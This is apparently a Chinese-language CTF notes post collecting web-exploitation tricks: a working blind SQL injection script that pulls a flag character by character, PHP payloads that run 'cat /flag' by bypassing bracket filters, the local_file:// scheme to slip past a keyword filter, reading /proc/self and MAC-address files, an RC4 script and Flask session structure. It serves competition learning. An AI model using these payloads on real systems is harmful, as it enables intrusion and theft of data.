if判断

写国赛题的时候碰到的盲注方法(因为平时很少写盲注题所以记录一下,应该是一种很基本的盲注方法🤔️)

if(判断语句,真结果,假结果)

下面是一个示例exp

import requests

s=requests.session()
flag = ''
for i in range(1,50):
    for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}':
        url="..."
        sqls="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j)
        data={"id":sqls}
        c = s.post(url,data=data,timeout=10)
        if 'Hello' in c.text:
            flag += j
            print(flag)
            break

base_convert()

这个函数可以在任意进制之间进行切换,例如

base_convert(37907361743,10,36)

就是把十进制转换为36进制,结果是_GET

{1}&1=system

先来回顾一下这种用法

$a='system';
$a('cat/flag');

此时很容易想到一种绕过方法

?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

但有时候题目狗到连[]都要给你过滤,此时就可以用标题的方法了

?c=($_GET{a})($_GET{b})&a=system&b=cat /flag

RC4加密

这里记录一个RC4加密脚本

from urllib import parse


def s_init(key):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + ord(key[i % len(key)])) % 256  # key的中括号里面一长串是为了循环填充K盒
        S[i], S[j] = S[j], S[i]
    return S


def rc4_encode(plain_text, key):
    S = s_init(key)
    temp_data = []
    i, j = 0, 0
    for s in plain_text:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        temp_data.append(chr(ord(s) ^ k))
    return ''.join(temp_data)


def rc4_decode(cipher_text, key):
    S = s_init(key)
    temp_data = []
    i, j = 0, 0
    for s in cipher_text:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        temp_data.append(chr(ord(s) ^ k))
    return ''.join(temp_data)


def rc4_encode_url(plain_text, key):
    return parse.quote(rc4_encode(plain_text, key))


if __name__ == '__main__':
    # keys = str(input("Enter the key: "))
    keys = 'HereIsTreasure'
    plain = input("Enter the plain text: ")

    print("The encoded text is: " + rc4_encode_url(plain, keys))

local_file://

碰到了一个这样的过滤

简单来说就是不能出现flag和file。但是local_file显然不属于这个过滤范围(属于又是一个正则写不到位的过滤😑),用法和file一样

/sys/class/net/eth0/address

可以用来获取eth0网卡的MAC地址。这里有个小tip,MAC地址看似是一串用分开的不规则字符串,但实际是一串16进制数。

在python中可以用uuid.getnode()获取到本机的整数形式MAC地址。

python2和3的一个小区别

在算random生成的随机数时,python2和3在相同种子下得出的精度不同,因此要先确定要破解的对象环境是2还是3

/proc/self/…

这东西之前有提到过一种特殊的溢出绕过法

cmdline可以查看当前进程的终端命令

pwd可以查看当前进程的运行目录

什么都不加就是查看当前进程

flask session的构造

flask session由两个点分为三部分,第一部分是base64编码,第二部分是时间戳,第三部分是安全签名